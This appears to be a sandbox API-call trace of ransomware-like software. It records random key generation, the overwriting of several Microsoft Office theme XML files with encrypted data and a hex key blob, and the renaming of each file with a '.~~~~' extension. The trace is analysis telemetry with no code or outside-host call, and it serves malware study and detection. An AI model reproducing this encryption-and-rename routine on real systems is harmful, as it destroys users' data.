	[0122.018] WriteFile (in: hFile=0x13c, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x26dfec0*=0x3bf, lpOverlapped=0x0) returned 1
	[0122.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.019] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.019] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.019] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.019] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.020] CloseHandle (hObject=0x13c) returned 1
	[0122.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
	[0122.020] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.~~~~")) returned 1
	[0122.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0122.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.021] GetLastError () returned 0x0
	[0122.021] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.023] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.023] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.023] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24201351855) returned 1
	[0122.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb233c7d0, dwHighDateTime=0x1d60e1e)) 
	[0122.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b79d0
	[0122.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b79d0 | out: hHeap=0x300000) returned 1
	[0122.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.024] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.025] GetLastError () returned 0x0
	[0122.025] GetLastError () returned 0x0
	[0122.025] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.025] GetLastError () returned 0x0
	[0122.025] GetLastError () returned 0x0
	[0122.028] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffc3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.028] WriteFile (in: hFile=0x13c, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x26dfec0*=0x3c4, lpOverlapped=0x0) returned 1
	[0122.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.030] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.030] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.030] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.030] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.030] CloseHandle (hObject=0x13c) returned 1
	[0122.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.031] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.~~~~")) returned 1
	[0122.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.037] GetLastError () returned 0x0
	[0122.039] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.041] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.041] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.041] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.041] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24203134846) returned 1
	[0122.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2362930, dwHighDateTime=0x1d60e1e)) 
	[0122.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7998
	[0122.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7998 | out: hHeap=0x300000) returned 1
	[0122.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.042] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.043] GetLastError () returned 0x0
	[0122.043] GetLastError () returned 0x0
	[0122.043] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.043] GetLastError () returned 0x0
	[0122.043] GetLastError () returned 0x0
	[0122.046] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffc3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.046] WriteFile (in: hFile=0x13c, lpBuffer=0x2a370b0*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a370b0*, lpNumberOfBytesWritten=0x26dfec0*=0x3c2, lpOverlapped=0x0) returned 1
	[0122.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a370b0 | out: hHeap=0x300000) returned 1
	[0122.048] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.048] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.048] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.048] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.048] CloseHandle (hObject=0x13c) returned 1
	[0122.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6300
	[0122.049] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.~~~~")) returned 1
	[0122.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6300 | out: hHeap=0x300000) returned 1
	[0122.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.050] GetLastError () returned 0x0
	[0122.050] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.052] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.052] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.052] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24204242782) returned 1
	[0122.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2388a90, dwHighDateTime=0x1d60e1e)) 
	[0122.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7960
	[0122.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7960 | out: hHeap=0x300000) returned 1
	[0122.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.053] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.054] GetLastError () returned 0x0
	[0122.054] GetLastError () returned 0x0
	[0122.054] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.054] GetLastError () returned 0x0
	[0122.054] GetLastError () returned 0x0
	[0122.202] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffc3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.202] WriteFile (in: hFile=0x13c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x3c4, lpOverlapped=0x0) returned 1
	[0122.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0122.204] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.205] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.205] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.205] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.205] CloseHandle (hObject=0x13c) returned 1
	[0122.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.205] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.~~~~")) returned 1
	[0122.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.207] GetLastError () returned 0x0
	[0122.367] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.368] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.368] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.368] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24235861428) returned 1
	[0122.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2682610, dwHighDateTime=0x1d60e1e)) 
	[0122.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ebf8
	[0122.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ebf8 | out: hHeap=0x300000) returned 1
	[0122.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.369] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.370] GetLastError () returned 0x0
	[0122.370] GetLastError () returned 0x0
	[0122.370] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.370] GetLastError () returned 0x0
	[0122.370] GetLastError () returned 0x0
	[0122.401] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.402] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x3c1, lpOverlapped=0x0) returned 1
	[0122.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0122.403] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.403] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.403] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.403] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.403] CloseHandle (hObject=0x138) returned 1
	[0122.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3902c0
	[0122.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.~~~~")) returned 1
	[0122.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3902c0 | out: hHeap=0x300000) returned 1
	[0122.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.439] GetLastError () returned 0x0
	[0122.440] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.441] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.441] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.442] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24243186049) returned 1
	[0122.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2740cf0, dwHighDateTime=0x1d60e1e)) 
	[0122.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7ea0
	[0122.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7ea0 | out: hHeap=0x300000) returned 1
	[0122.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5a40
	[0122.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0122.443] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.443] GetLastError () returned 0x0
	[0122.443] GetLastError () returned 0x0
	[0122.443] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
